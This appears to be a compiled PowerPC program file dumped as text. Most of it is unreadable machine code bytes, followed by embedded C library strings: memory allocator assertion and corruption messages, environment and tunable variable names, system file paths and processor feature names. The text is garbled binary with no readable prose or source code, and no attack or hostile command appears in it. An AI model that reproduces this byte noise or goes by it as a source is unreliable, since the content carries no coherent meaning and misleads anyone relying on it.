699JUJ>9J}IH 9)B@8I/AI P@ 9)\09J\0BA DK=o| PK%@O/A  '9)'/ /AIoxK̀o/AKoK7q)@@oKoH`/~xA$#/@Ku/~x@oKao9/HAKM/u)A oXK9o/AK)o/AK}{xKK/A4dhK(/A&/A99@H|;x(8/@9*U):}&Jh<d9|d/A8KБ40,W:(K借(,04,@< < 8888` Ka```A<` 8c KE/A,=@ *9)/*A0=@ *tA?_})P./A9 9 K?e?)/@!_*}ASxKl<}sxL1KK?K9@IK,? <` 8cL1KyK 9@KԀ/A$o@T'8K/@ 54|/<~=x9I+@h/0O8})BA,P@A~H@A t~H@A4~@AD@ }8Kx}ZSx~=xK?_})R/A T:9)}HH.}(JJuJA}*Kx||3xHtA9)BB0'/A? ;=  )})N!/A</A9)<U):}r.@;@@~xH/9JAH``````*.@A@~P8V:|"KAЮ~x||vK鮡5}ZPW#<|P@@|PW1<|#xT<8W/:Kr.:x~x.;9|xz;{W{>r.A >@>/@`@A4W$<|"K```@P;@@@@ԁ!3~axK``8cV<|rW/ÁiG}KRP@A@Ai}JP@@AFP@@IP@@}&Kx/ Kx`8```/A/AAh';`F})B|R< = 9)/A<` 8c (K 4cx a$(,|8!0N '0|+x/A)iTc 6|l@8/@T U >9)U)>+@0``9J@@( U >9)U)>+A* U)9)+@U>/A* /@p/A'}(JH@AAj}+JH@@A&@@@t*H@@h}FSx/ K\`` ;`K'}(JH@A4j.@@$K```'u)@=  )l)<K!#`9I9)})UJ(4| PB@@#X} P.})R9J/@ }( P8@@8`8!N `8`8!N ||1}@0#}H8cB@(}1|Q}@0#}J}HB|jN !|= a)$|H9@\|xc/@ <` 8c=@ =  = )TdX8Kء$|8! N < <` 888cTK88|fx8`Kݽ``!|= 4BA,9@a 8i8(K/@Ha$Ka$Kya$!,B})Ry9@@(48!0|N ```8`KK/!8!K8`!= ||dx8iKI8! c||cN !|$|xcH!$ |8! N `!|= 9)/D ~^>#U)e)#A T:89J9>UJ89J}I)9) HUJeJHB܂;%>` 9@vd:s< ="< 9)= I9&ܑ?L9'Ѩ?T/9(d> ?P9 x?D?H9 X@:1<2Ad;`6$/AV4=_8 /_A `=@~Uxa^;> H8$}z}{xKq/@8~$x8 K?$/@X(u*@@W:;}8Q.>IUJȑI/@=  )q)@d8@pz/A+:@W:x99U)9)})H*U)e)*B/:@A:@;H3~x@@W::}4.~)u)A؀z8cTc:K |ryA~ųx~x8rKQ@@T:x|:8HuI@T:8}RR @@8~~P:~x3@AX`+@@+9=x})AH````H*U)ȑ*Bx%xxKՑ8888|K9 }<.|:/a):A|zZK /A cxK/@9  +ĂK|k̂ЂԂ؂܃ +Kk샋}a[xN K1A|tyAt0t/@}{xK|hxv/A4/A\XKX=  )+@9 @@|ix9)A}{x})~óx})B9)U)6})}AIn8T6K1#/A@|oxK`6/@d6/@X/;A9 W:};.W88c K|}yA;dxx8}K8wx|}xKӵ|6a)62/AH```IuJ@A0Zh9JZhK0`:K``IK``/W:@:@W:K``:d/A< < <` 8 8X8c ,8K `2/AlR/@<:K```}FSxH``8@Ap}Cx/@ *5K``6)/@tXK8X9#v8@@8`KU@A /A  /A,K$``=  )q)A P}{xL1KK```|vxx; Kx=  D@@/A; `ZdW):H.@Aԁ>/A)/@>/@ >/@xxK@|xxA/AH|i9<HUJȑHB@, HUJȑHIJ`/@t9)B:V:~óxK}/|ix~A9C I8}CSxxKб;9@@dKxKK-|iy?XAPt/@T}{xK\v/A/AKe=  I+@9@@@|jx?X9J}{x~óx}JIց?\}JJ9JUJ6}J}Qn8T6K-yC/@ȁ]A=  IqIAK``E/@=  Il/@TL}{xL1KK`^9)eJ^KVJ/@K9Cv@@8`K8 KK`|3xK;K|oxK_DH}*J?DKL< }{x888`KE< < <` 8 8X8c,8K < 88 8` K < < <` 8 8X8c,8!K }< < <` 8 8X8c 8%K ]/@:~x88 KA< < <` 8 8X8c 8 K !< 88 t8`Ky< }{x8088`Ka< 88 P8` KI9 })K<#e)#H/Ah!|$a |3x|+x|#x|~x#P.A=@ JqJ@ЁI>exxx})R})N!>/A\^>JWA8U>:``?exxx;})N!@@$a |8! N ``#.A=@ JqJAh`@ =  )l /@ = 9Ѩ<` }Cx8c L1K>P/@K```u)@N `!|4,? $|}x@!Aa/ (|#x|+x=|3x@/@hW:;/;A8=|i.;#u)@FxexxK/;@Ѐ4!Aa $|(,8!0N #u)A/9 ?@Ap`/Ad9U9AX=  )q)@P]W):R``?Exdxx;})N!@@KKK$/@ =  )l/@ < 8Ѩ<` 8c L1KKx}&#4!/4A쒁P@Ah-tI!d|}xA`T|\}(R.~R/@̒aL>` 93ѨAH>@ !(92 d8<X`alpx|!,T> !D.-: D; >  =)LH./@H<`` /A(xxK/A@`=  :I./@1l/A`~2|4q)@h;/A/Ap}?B.B/@(?HA?/A}?Jn/A9 !>/@=  )l/A<8 888`K&E;< x8 |fxxL1K< x8 p8`Ka```? x|H.|"KQ/@L<U)~H@@}9Kx< /AJK.8u)@A`7 /A~JK8```.; AH=P```})RIUJ~P@@}YSxI/@K``4@8`P!d} } } Aht8!N ? ;ѨK`9 x|!>/A|R.88 88`K!;< x8 |fxxL1K}8`x88}JB/ A!<})By9}CSx@daLPTX\|8!`N `=  }FSx) DP@H``}&Kx&t/@x8x}DSx98KCK@"0/@}DSxcixx9@98KCUK ```=  I DK`=  }IiN!|jxK ``9@K``/A*@A*@A8< 88 88`K``c{89 a0(A$,8"4|<8a8$8K|~x94|}@@(A-@/A$!a$/A8x8Kف"8}Cx88/8A9 1| } &U)i)D|&KK!|94%BA,9@$/A/AU) 6}(J/AtU) 6}'J/A`U) 6}(J/ALU) 69E}'J/A0````U) 6}(J U'F6}):x/@U)>9@|3x88! A(KY!,B})Ry9@@48!0|N K ```!888!K!|hy8@ 8}/|+x@ |8}%/|3x|#x}Cx@@@@|4/A! |cH0|D0|H0}x|H0UH>UK>CT>|A|x|`PPf0@@$|R9?0@A0@@ 9?|R|0P|C}A}k!|#x}0PQ(@@ |*9(@A(@@9U$8`|cxH@@@88`/A |c8! N ``/@ 9@}JK}@4/@| @PUF>UK>8`3T>}1|Yx| PP@@@$}R9?@@A@@Al``}@P|3|1}dY|#x|@PPŀ(@@ |*9(@A(@@9U$|cxK`}+4.@A  @A88`K```}J0! }L0UF>3}0|0UK>|L0}(CxU >|1|x|PP H@@,})R8H@AH@@8})R``}$HP3|1| x}$HPQ(@@@0}R;@@A @@@;}R```Tc|@P|cxKp!K })X0|T0}T0Kx|T0W>W>}X0}HCxU >|X0}|x}PQP@@$}J9=P@AP@@ 9=}J|PP|}}Ex|cPPh@@@0}9@@A @@@9}```} @PU)})cx}I0P@|IA(A}$Kx8`K(`|X00@@`88`K`9?}RK!|jy9`Aa @ 9`}J/|+x@ }%/|3x|#x}CSx@P@@ |4/|#xA!D |c 0|T0| 0}Cx| 0U >U >|cT>|a||fPPjP@@ }JBP@AP@@ }JB`|PP|c}a})!|(PP8@|;x@ |B @A @@ |B`| P8`|0/A |cAa 8! N `P@A}%4.@pA  @A | |iQ|;xK/@ 9}K}4/@|hPPU >U>|cT>}@a||jPPf0@@|B0@A0@@|B|0P}%c}Ia})}J(PQG8@|;x@|B @AK```}0  }@0U >|c}J0U>|0|cSxTi>|0|a}])|PPɀH@@ })BH@AH@@ })B`}JHP|c}&a|1}IPPQC@@$|cB@A@@|cB``|fPK``! })(0|d0}Zd0Kx}I(0W>|d0|z}IKxW>U?>|(0|(0}C|gx}JPQ_@@08@A @@8```P||}!|#x|PP H@}*Kx@,}I8dP@AP@@8d}J``}(PPT|x}0@@|f} CxA4A ||jI|i`0|,0}$#x|c,0K@@@``|||A|jx|;xK!,@@|#x|hx@|4/A |hH0|<0|H0|Cx|H0TDŽ>T>};UE>}l9|a}cx}k@P|+xQh@@@(}29,@@A@@@9,}2`}@P}h;|9|cY}e[x|@PPP@@ }FR8P@AP@@8U$8`|+x8! N @A |4.@ A  @A88`8! N `/@ 9 |3|4/@}fPTȄ>T>8`}CUG>| A|)}cx}`XPQg8@@$|29,8@A8@Al``|8P}C} A|)}cx}8PQ P@@ }FR9lP@AP@@9lU$|[x8! N `88`8! N `!@ |0|T0|}T0|Kx|T0T>T>;|c0}CxTj>|0}9}hx}PQP@@$}J*9?P@AP@@ 9?}J*}kPP;|9}Hx|XPP@@0|c*9@A @@9|c*```|jPU)})cx}I0P@|IAA}$Kx8`K`|80!' |`L0TȄ>CT>|L0|c80|80}#xTi>}A|x}kPQiH@@,})28H@AH@@8})2``}'HPC|A}ex}'HPQ#@@0|c29@A @@9|c2```T}kP|cxK|00@@`88`K`9,|2K!,|#x|hxAa @@@@|4/|#xA |c0}H$0|0}x}J0T˄>T>|[UL>|eY|)|c@P}cxPh@@@}2@@A@@@}2|@P|[}dY})!|8PPP@}DSx@ |2 @A @@ |2`| P8`|0Aa 8! N `@A|4.@A  @A}F |e|hx}Cx}DSxAa 8! N ```/@ 9 |3|4/@|fPTȄ>T>}cCUE>}+A|a|iPPe(@@|2(@A(@@|2|(P}'C} A})a}8PQ P@}DSx@|2 @AK```  |80|0|z0|Kx|c80T>T>z[|0})xU,>|80|80YhxPS`@@0}*9`@A `@@9}*```}`P|[}dY}J!|#x}k`PQiH@@0})*;H@A H@@;})*```U}*HP} x} 0@@}FQ}CxAA||cI|`0|<0|#x|c<0Aa 8! N `|0!@ |T0TȄ>}CT>|T0|c0}CxTe>|0}+A|Y})PQ%(@@ |2(@A(@@ |2`|(P|C}'A|9|(PP@@$|c2@A@@|c2``|gPK``P@@``|P|eA|#xK!*|B?;U؁>iX@(>I `*c`*!H(!*A* *PA@ *@P b `X@``( * `@ 8!|N  @P8!|N `>IP@T ***bX@$ `X@<`(`* *K> `IKx``> IK`c`(c* *KH! P`P`B8!K!|B?;T|>)HA`^JP@LCa!:!*`*ZP@LX(* X@8!|N `I 8!|N ` X@HK`!$|B?;S^Ɋ`A>iX@  hXOAd28IC`8!`(!(! (a$`*ZP@tX( X`*@8!|N ```Ɉ!2B2c22K`J 8!|N ` XJK!|B+P?;RA|Tj>+ Al>UJ:}IP.}JJ}IN `E9%/A$Thv/@|+xph}J"AJF}#Kx8!|N `9%U):I9)|}#KxF8!N `E9%K`E9%Kp`|+x9@8`9)iUh~q`}808}JCx@+A4qh@A,9}80}J;xK$|+x9@9`H````9) U~q|X09k}JCx@K```E9%KK7+ALTcv/ A`+ @(/@A@/PA(/0@HdXN `/A /@,8`N ``d\N ``dTN !|B?;PK6i`!|B @9 X?\d !$A(a,048<@!DAHaLPT|? x;P&@E`%L|3x|+xUJ})RH@@|#x:; : ::@::`;:`#;U*2+@A@+A+A+/A d^U):}*H.})R})N ```\U)x})Q}'J<@@ `[LU}JBP@Ax9`  +ĂKȂk̂|Ԃ؂܃ +Kk샋}a[xN U)x}IIIIIIIIII I I I I IIIIIIIIIIIIIIIIII !"#$%&'()*+,-./0123456789:;<=>?I@IAIBICIDIEIFIGIHIIIJIKIL M N O P Q R S T U V W X Y Z [ \ ] ^ _ ` a b c d e f g h i j k lImInIoIpIqIrIsIt8!|N ``!|B @8?D;:@l !$A(a,04<|#x|x|+x;;A;`;``9_9'U)>+AD U):}(H.})B})N ?x;`/?AU :;}:Q.@A/A9=9A U):!$A(|jH.a,04<D88!@|N ``?x; K}_SxK``?x;Kd?x;KT?x;})tK@```?x;K$/A4+9U :}:H.A@+#A`+A+ ADK`x~xK8x|dx~xKx!|xK```88``9J*U(~q)} 008|Kx@/@8/Ax`T:}8H.u@A}:l/@}8/@D)x}_SxK``88H`````9JT~p}008|Cx@+A p@@ȁ8`8T:u)@}8@.A}:l/@}8/@)})"x}_SxKx`8/@ K9'x}_SxKT?;JKX/AT;9_W:}:H./AK,`/@$89T>9=+U):U:|H.}:0.AހT:|8.|2|N ``/@899=T:U:U):|8.|@.|H.}_Sx|9.|A.|I.K/@99=U:U):|@.|H.}_Sx|A.|I.Kh?9];P@X})PPxU):}:H.K,``/@49=}_SxU):x}:H.K/A;}_SxK```/A9=}_SxU):x}:H.K9 8``9JT~p}808})Cx@+ALp@ADg80x|}_Sx});xKl``}_Sx9 8`;_UH~qJ} 808})Sx@xK,``88``9J*U(~q)} 808|Kx@9 8H`````9JT~p}808})Cx@+A p@@/@8/A`T:|8.u@A}2l/@}0/@t})B}_SxxKH`x}_SxK8`+AH+@<}'p}_Sx}):x}'HPKh80}})CxK`h00}|CxK0|;xK)}_SxK܉_;/A+@/A/@́)K})H}_SxK88`9JT~p|(08|;x@})"}_SxKh})}_SxK\})*}_SxKP})(0}_SxKD}),0}_SxK8}).0}_SxK,})*x}_SxK })*x}_Sx})4U)~K }&p|HT}_Sx})1K|p|(U)}_Sx})9i)K})*x}_Sx1I}*IK})(8}_SxK})+}_SxK|p|(U)}_Sx})9K}&p|HT}_Sx})1i)Kx}%HP}_SxKl|+}_Sx|)}%HPKX}))}_SxKL})+x}_SxK@/@P)K0)K()K |3xKl`!|B88 !$?|yx;A(;1|#xx$xDa,04/A8K/A?/A|?/@T=`Au)@A 9@]m9!x=9@9 x!!AKq}LA؃a܃|8!N 9 99@?????????? ? ? ? ? ?????????????????? !"#$%&'()*+,-./0123456789:;<=>??@?A?B?C?D?E?F?G?H?I?J?K?L_M_N_O_P_Q_R_S_T_U_V_W_X_Y_Z_[_\_]_^___`_a_b_c_d_e_f_g_h_i_j_k_l?m?n?o?p?q?r?s?tKK``!|B?;*0|#x$|}xK!?+9IA}*KxUJ8R_/A/A`/A]`U(:}@.uJ@@T^}*H/@($=L|8! N ```9)K``}]JJl/A} CxK``$9 =L|8! N K``! |B?a̓ГԐ;)||x|#x;aHT!/A4xxc8`})N!+A\+@P/@pdxxKUdxxKi=`]HU)/})PPJx4W~W:A|8`ãЃԃ؃|8!N K```!|!ԓAؓaܓ|#x|}x;a# C`dxxKIxxx8 |y8`Al+@$88`)N!/A;x!ԃA؃a܃|8!N ```)N!xx8 /8`@!/A(})N!+|x*At@ldxxKK ``!|BD8 ?!$A(a,04<;&Ё$`|#x|xxu*@ADm/A;x;;k;Yk;H8```/A>}?H/@/;A\={/@:/@/A/A @A>|K|/;@``8`u)@A8m/AtD8` !$A(a,0|48<8!@N Y/@H/@u)@AYm9!9K؁88`/A4D !$A(a,0|48<8!@N Y`9uJ@AYm/@^J/@H)xHYhD |cHP!$A(|cRa,0|48<8!@N K y`!|B/?;$@8/Ah#`T:}CP.u)@@,>}) /@Dj8!|N |c"#l}CSx/AȀ8!|N K `!cH`B8!N `!|B/?;#@8/Al#`u)@@4>T:}CP.}) /@H8!|N }#")l/AĀT:|!.8!|N K !cL`B8!N `!#`cLU)$`B8!N ``!L`B8!N `!cP`B8!N `!c\`B8!N `!|B8c?8;"$H1 /A a$8! |N `8`K``!cX`B8!N `!cT`B8!N `! |B89!?Г;!||x|#x}#Kx8Kt;= @;x!(Kq/@!/A9 N9K9]8})HA(;9JB@,?(+*@܁?9J;*B܀xA0!ĀHJ] =|ԃ؃8!N 8`Ѓԃ؃|8!N `!8!N ```!@|}& 0 8 @! HA Pa Xځ `ڡ h p x ! A a ہ ۡ  ! A a    ! A a  $ ( ,B !;A8 ||xCx?;;;aKmDxx8KvHD`@@!/A$})N!*+A(@dxxK)dxxK=xx8|x8`+.@9@  x ؀a } } ܀ |  ! A a    ! A a  $ ( , 0 8 @! HA Pa Xʁ `ʡ h p x}  ! A a ˁ ˡ 8! |!RN ```;K$``!(A8Dx xU)})PP<Ku-xxK+|x@xCxK)||xaxKEx K`!|}&px!Aaځڡ!Aaہۡ(,0!4A8a<@DHLP!TAXa\`dhlB$!|+x;|x|#x?x;88;Kx8xKs_ xxK9@+Aȁ$a} }  |(,0!4A8a<@DHLP!TAXa\`dhlpx!Aaʁʡ} !Aaˁˡ8!|!RN xxK)T|}xaPxKExK`!|}&px!Aaځڡ!Aaہۡ(,0!4A8a<@DHLP!TAXa\`dhlB$!;||x8x?;;8Kxx8Kr< xx/@K+AKKKxxKT|}xaPxK$xa} }  (,0!4A8a<@|DHLP!TAXa\`dhlpx!Aaʁʡ} !Aaˁˡ8!|!RN `!|}&px!Aaځڡ!Aaہۡ(,0!4A8a<@DHLP!TAXa\`dhlB# $|x/?;8@K9@$a} }  |(,0!4A8a<@DHLP!TAXa\`dhlpx!Aaʁʡ} !Aaˁˡ8!|!RN !;8x;Kx8xKo)xxK/AK```xxKT|}xaPxK5xK`#/M !||dx})8`N!8!|N !P|}& (0!8A@aHځPڡX`hp!xAaہۡؑܒ!Aa쒁!Aa ԁ!;|zx|#xx8;K}H$`IN!x/x@+ Al>UJ:}IP.}JJ}IN `E9%/A$Thv/@|+xph}J"AJF}#Kx8!|N `9%U):I9)|}#KxF8!N `E9%K`E9%Kp`|+x9@8`9)iUh~q`}808}JCx@+A4qh@A,9}80}J;xK$|+x9@9`H````9) U~q|X09k}JCx@K```E9%KKE!|B(,?; $;|}xx4KOM+8c}?AX] /zA,8`4$(,8!0|N ``9)IqJA(9)IqJ@H```|ix8iCqJ@+A`8c#q)@; ```8c#q)@= ;+R@(HT```@8?8c+RA4*P+L@#8x8U#~K ?+R@Ԁ4c$(,|8!0N ```8iKL``}_8`/@I/@9)K```Tc~/AX+@@/A@/8`M !|B?;K)`/@8`N 8`N ``Tcv/ AH+ @ /0@HeN ```/A /@,8`N ``dN ``/PAܔ!|B?;Ky`!|4,Aa $(|}x|#x|+x;W^>+A88xK!||x88 xxK)}8x8Tc^>KA !8`H@A })P|c4Aa $(|,8!0N ``!|T$ ,0@La<H|tx|#x|+x;:V^>+@T;`:?/Aa(!4A8AD:`:;! ;AH;P@AxKTr>|ux+A<~xx~CxxK/|{x@``?_ :/! AA})PP@A?9)}?Hn/A(?/ATuJ @`/AV>&x8dx~CxKqFx8|exVC>K]+A~CxK9@+@! }*P9A|A})PP@@lTxAa(!4A8|D $,0a<@HL8!PN `8&x88`KFx8x;`|ex8`K?9)}?Hn/@```Aa(!4A8DT8` $,0a<|@HL8!PN `Tj8~P09JK~x~xxK|{xK``&x8dx~CxKFx8|exVC>KK`!|9D4A,;C;a $|#x(|+x$|iPPK18T{>+ADxxcxKQ|dx88 cxK]=8}|iPK8T|>+ADxxxK |dx8x8KA !8`H@A })P|c4Aa $(|,8!0N !|T!4H$/A̓DLa $(,0A8a<@|#x|{x;@;; 9@;:>::``/A93W>HPP@A`xK/||xA0T}>;@+A~x~ijxxK|zx;U*AU*^>A e) ;x8DxxK+xALxK!9 +ATi8~H09)x} H9A;;9@@@x39)}3Hn/@ a $(,0A8a<@DLT#xH!48!P|N U)W})Sx;K,```; K; K!|T@(0!4a<L H|vx|#x|+x;#;W^>+@:;?/AaD$,A8::;A```?/AXVuJ A;P@AxKTs>||x+@DFx888`K:x`?9)}?Hn/@a$,A8DT (0!4a<|@HL8!PN ``/@\?;/A;/AIUH:9J} BI?9)}?Hn/@Kd```W>Fx~cx8~xK+A4~cxK}9 +ATi8~H09)A})P9@p`~xxK`x$x~cxxK/|txA,|dxFx8~cxKK``xx$xKe|txK``!|BdXaL?T\;|}x|#x#/@ē!D= u* AHY@u*8@8@@h}:U~U :}9J_ P@A=@]9)= K<``4PK`exxxKd4PaL|xTX|x\8!`N /A|048<:@P;:::H(``A})R@A$:@@W~W:}9J?8|iPKE8Tx>+A~xxxKe|dx~Ƴx8xKq~x8|exW>K]!@@pxK|`PU<^>+@;@/A048:::H,```A})RH@A4:@@~ƳxW~xW:x}9J8K~x8|ex~xK!H@@xK`xK/|uxAv=U)A@=/A;W:xK/|ixaAx; !$A(a,08<@!DAHK/a A= u)@AX/A:`~xxKل/@!/~/xA1@=u* @tu)@^Hh} CxHx``}J2P@Ax8}CxK@``048<@!DAHPK```^ /AĂ/A>:XV::~?x~Sx~x:@Ahx@$HH`P}8A,xIN!/A;K`?x;K`~989@2/AUI:9J}1JB !O1E})R@8DxxKa /A䂁4`/W:}3:AW<:;H ``/<x}<.Ap~xxI;N!}8/A/U):}4JAH~xK```T:8}8JK```~xK``S4a })R4~cxKI!] I= =e)= !$A(a,08<@!DAHK|``048<@!DAHPK```x8xKKȃ^ K\88xK9|xxK(```~%xDxxKEK,```})x=K/V:}TRA:~xK|x89@K!DAHKDKⵂ4PK`!|BTHD?L;E#c/A +A+ @;;C /A+@䀽x8 8Kq! 8`!4A8a<= @K ``` @@|@p/A|x;_P@A @@A}JCyAx_/Alx}_Sx_P@AK̃!4A88`a<@KdxExxKu|dxK ExdxxK]%x8 |dxxKi! /A8pj@pC}_R(@A9I9U\8}#.}?J(@@@@@P}*BU)~U'8|8.|:(@@LH@@,|JT~T8}CP.}_R(@@ |;xH@AKݩ`8`Kx}*Kx|;x9 U8|8.|:(@@U)8J|;8{|iPK8Tz>+ACxK8|*WC>88KM\=}_R} B@@@}] 8`!4A8a<@K@ AX?=KD``!|B9=@d D?$;>/Al;|#xxKv݁=]/_@ 9 =xKv$8! |N >I /@9@IK``!|iyA$)/A8!K``8!N `!|iyA)/@8!N ``888!K```#/M !|B? ;|x8`K 88|dxx |8!K0```!|B9=@_d D?$; >/Al;|#xxKt=]/_@ 9 =xKtՃ$8! |N >I /@9@IK``!88`B8!K!|B? ; |x8`K 88|dxx |8!K``!|B?|}y$;A=/Axa ~/A 8{Ks[/A8* H@ H``? H@Ax/@/A9[H@A\9_/Á? /@܁#H@؁?*KH(```}_Sx9[``?*/@D$xa |8! N ``9JK``8{Kr$xa |8! N /A 8{KreK```$;x8! |N ```!`B8!K ``#/M !|B?;KK8!|N ``!|BA8a<DHT@|{x?|#x;p=/@~9 9@8a! !!!AHA/A/A A!Z:TxA8a<@DH|8!PN ``!4>L/A 8}KpɃ/@H`/A?H@AdxxK||yA/A 8}Kpy_?th Z:@$Tc^>T}>8+A88xK|dxx88KŁ!!4L:K```0;``/A?dxx=K=/||xAdI@@@ HP```I@@A8)/@/?A0K```xK;KD/@(0!4LKԁ<8||iPKmK8}Ko!0!4LK!|B+?;A\Tiv/ A+ @8/@A`/PA8/0@|#xK)8!|N /A /@`8`8!|N ``|#xK]8!|N `|#xK݀8!|N Kӥ!|B+P?;A|Tj>+ Al>UJ:}IP.}JJ}IN `E9%/A$Thv/@|+xph}J"AJF}#Kx8!|N `9%U):I9)|}#KxF8!N `E9%K`E9%Kp`|+x9@8`9)iUh~q`}808}JCx@+A4qh@A,9}80}J;xK$|+x9@9`H````9) U~q|X09k}JCx@K```E9%KK!|B/9 X?d;`!,A$d8`X8!`|N ``p@8`dX8!`|N }CxaLPT}Cx|;xK|}yA/AH\8`A xKՐa;+@8a ?;+!AH89H``````;?U*~q)}I@09|Kx@|:?8;9!`;?U*~q)}I@09|Kx@|:8,xKǡ!A,@1JC@<@!D:(;$;! ```8xKx~x|dxxK8|}xxKxx|dxxKi8|}xxKu&xx|dxxKA|x``;?q)@!A(})R@ApA$})R@Á!@AD<@!DAHaL8`PT\K``aLP8`TK```8`d<@!DAHaL|PT\X8!`N xxKx8 |dxxKM|xK9 !K! /A A0ex8xK88xKxxK8`KP!|= 9)/aLPd@T\||x|#x"!<9 A<` 8c Kh=  D9) D/AX? !DAH;@;@; H4``ex8(8aN!|xy@ /A>C@}}HX|A/`a,!$!4 (A0AK ex8(a48aN!|xyA|!DAHXH ```!DAHX;= 9)/A<` 8c Kg!AK KxK/@Ѓ=@ = j 9)HAK? <8;Ki~9 ?/AK/x@$8! |N !=  ,/AX|$```/AHE K)xxK/@Ԁ$|8! N !|= 9),4$|}xc`HAK)=/A<|$````dK]`/@$|8! N !|$|}x /A;;``}H;*/@D}(./A8J "P@}= oldendenlarge_userbufx(%s%s%s:%u: %s%sAssertion `%s' failed. arena.creplaced_arena->attached_threads > 0result->attached_threads == 0malloc: top chunk is corruptmalloc_consolidate(): invalid chunk sizecorrupted size vs. prev_sizecorrupted double-linked listcorrupted double-linked list (not small)malloc.cchunk_is_mmapped (p)munmap_chunk(): invalid pointer((size + offset) & (GLRO (dl_pagesize) - 1)) == 0aligned_OK (chunk2mem (p))prev_size (p) == offsetp->attached_threads == 0 free(): invalid pointerfree(): invalid sizetc_idx < TCACHE_MAX_BINSfree(): invalid next size (fast)double free or corruption (fasttop)invalid fastbin entry (free)double free or corruption (top)double free or corruption (out)double free or corruption (!prev)free(): invalid next size (normal)free(): corrupted unsorted chunksheap->ar_ptr == avchunksize_nomask (p) == (0 | PREV_INUSE)new_size > 0 && new_size < (long) (2 * MINSIZE)new_size > 0 && new_size < HEAP_MAX_SIZE((unsigned long) ((char *) p + new_size) & (pagesz - 1)) == 0((char *) p + new_size) == ((char *) heap + heap->size)/proc/sys/vm/overcommit_memory(old_top == initial_top (av) && old_size == 0) || ((unsigned long) (old_size) >= MINSIZE && prev_inuse (old_top) && ((unsigned long) old_end & (pagesize - 1)) == 0)(unsigned long) (old_size) < (unsigned long) (nb + MINSIZE)break adjusted to free malloc spacecorrection >= 0malloc(): memory corruption (fast)malloc(): smallbin double linked list corruptedmalloc(): memory corruptionchunk_main_arena (bck->bk)chunk_main_arena (fwd)tcache->entries[tc_idx] > 0malloc(): corrupted unsorted chunksbit != 0(unsigned long) (size) >= (unsigned long) (nb)malloc(): corrupted unsorted chunks 2newsize >= nb && (((unsigned long) (chunk2mem (p))) % alignment) == 0realloc(): invalid old size!chunk_is_mmapped (oldp)realloc(): invalid next sizencopies >= 3(unsigned long) (newsize) >= (unsigned long) (nb)realloc(): invalid pointer!victim || chunk_is_mmapped (mem2chunk (victim)) || &main_arena == arena_for_chunk (mem2chunk (victim))!victim || chunk_is_mmapped (mem2chunk (victim)) || ar_ptr == arena_for_chunk (mem2chunk (victim))!p || chunk_is_mmapped (mem2chunk (p)) || &main_arena == arena_for_chunk (mem2chunk (p))!p || chunk_is_mmapped (mem2chunk (p)) || ar_ptr == arena_for_chunk (mem2chunk (p))a->attached_threads > 0!newp || chunk_is_mmapped (mem2chunk (newp)) || ar_ptr == arena_for_chunk (mem2chunk (newp))!mem || chunk_is_mmapped (mem2chunk (mem)) || av == arena_for_chunk (mem2chunk (mem))nclears >= 3(char *) chunk2mem (p) + 4 * SIZE_SZ <= paligned_mem(char *) p + size > paligned_memmalloc_check_get_size: memory corruptionArena %d: system bytes = %10u in use bytes = %10u Total (incl. mmap): max mmap regions = %10u max mmap bytes = %10lu mtrim__libc_calloc_mid_memalign__libc_reallocremove_from_free_listdetach_arenaget_free_list__libc_malloc_int_reallocmremap_chunkmunmap_chunkheap_trim_int_freesysmalloctcache_gettcache_put_int_malloc_int_memalignarena_thread_freeresUnknown error $4dtTtÌ۠۠u`ANSI_X3.4-1968//TRANSLITmbsrtowcs_l.c((wchar_t *) data.__outbuf)[-1] == L'\0'result > 0__mbsinit (data.__statep)status == __GCONV_OK || status == __GCONV_EMPTY_INPUT || status == __GCONV_ILLEGAL_INPUT || status == __GCONV_INCOMPLETE_INPUT || status == __GCONV_FULL_OUTPUT__mbsrtowcs_l%\%|%%%%&&<&\&|$%<+**x,<)`(+(8(8'0'0'0'0'0'0'0'0'0'0'0'0'0'0++((D+)'0)(T+(D++((`(*l(x*(T(`((`'0'0'0++'0'0+++++++(l++++++'0'0(l(l)4(T((l)+'0'0'0'0'0'0)*4)@)(D)*T((8(8(8(8'0'0+(8(8(8*(x((D*`(T(T((())()(x++))(`(D(D(D(D(8(8(((8(8(8'0'0+++'0+++++++++++++++'0'0(8+(8+'0++++'0+++++++++++(8(8((*(++++************(((***********************************'0'0(8(8((*+++++/usr/lib/getconfGETCONF_DIR/POSIX_V6_/proc/sys/kernel/ngroups_maxLP64_OFF64LPBIG_OFFBIG/proc/sys/kernel/rtsig-max..../sysdeps/unix/sysv/linux/getcwd.cerrno != ERANGE || buf != NULL || size != 0__getcwd../sysdeps/unix/sysv/linux/getpagesize.cGLRO(dl_pagesize) != 0__getpagesize../sysdeps/unix/sysv/linux/getsysstats.c*cp <= *re/sys/devices/system/cpu/online/proc/stat/proc/cpuinfoprocessor/sys/devices/system/cpunext_lineThe futex facility returned an unexpected error code.stack smashing detected*** %s ***: %s terminated GLIBC_TUNABLES/etc/suid-debugglibc.elision.skip_lock_after_retriesglibc.malloc.trim_thresholdMALLOC_TRIM_THRESHOLD_glibc.malloc.perturbMALLOC_PERTURB_glibc.elision.triesglibc.elision.enableglibc.elision.skip_lock_busyglibc.malloc.top_padMALLOC_TOP_PAD_glibc.malloc.mmap_maxMALLOC_MMAP_MAX_glibc.elision.skip_trylock_internal_abortglibc.malloc.tcache_unsorted_limitglibc.elision.skip_lock_internal_abortglibc.tune.hwcap_maskLD_HWCAP_MASKglibc.malloc.arena_maxMALLOC_ARENA_MAXglibc.malloc.mmap_thresholdMALLOC_MMAP_THRESHOLD_glibc.malloc.tcache_countglibc.malloc.arena_testMALLOC_ARENA_TESTglibc.tune.cached_memoptglibc.malloc.tcache_maxglibc.malloc.checkMALLOC_CHECK_eddddepowerppc970-cell-bea2405440464476ifti`f`ftftftfti@i ihhhhphPftftftfth fthgftftftftftftg/var/tmp/var/profileGCONV_PATHGETCONF_DIRHOSTALIASESLD_AUDITLD_DEBUGLD_DEBUG_OUTPUTLD_DYNAMIC_WEAKLD_HWCAP_MASKLD_LIBRARY_PATHLD_ORIGIN_PATHLD_PRELOADLD_PROFILELD_SHOW_AUXVLD_USE_LOAD_BIASLOCALDOMAINLOCPATHMALLOC_TRACENIS_PATHNLSPATHRESOLV_HOST_CONFRES_OPTIONSTMPDIRTZDIRppcletrue_learchpmuvsxarch_2_06power6xdfppa6tarch_2_05ic_snoopsmtbookecellbepower5+power5power4notbefpdoubleefpsinglespeucache4xxmacmmufpualtivecppc601ppc64ppc32htm-no-suspendscvdarnieee128arch_3_00htm-noscvcryptotariselebbdscrhtmarch_2_07LD_WARNsetup-vdso.hph->p_type != PT_TLSget-dynamic-info.hinfo[DT_PLTREL]->d_un.d_val == 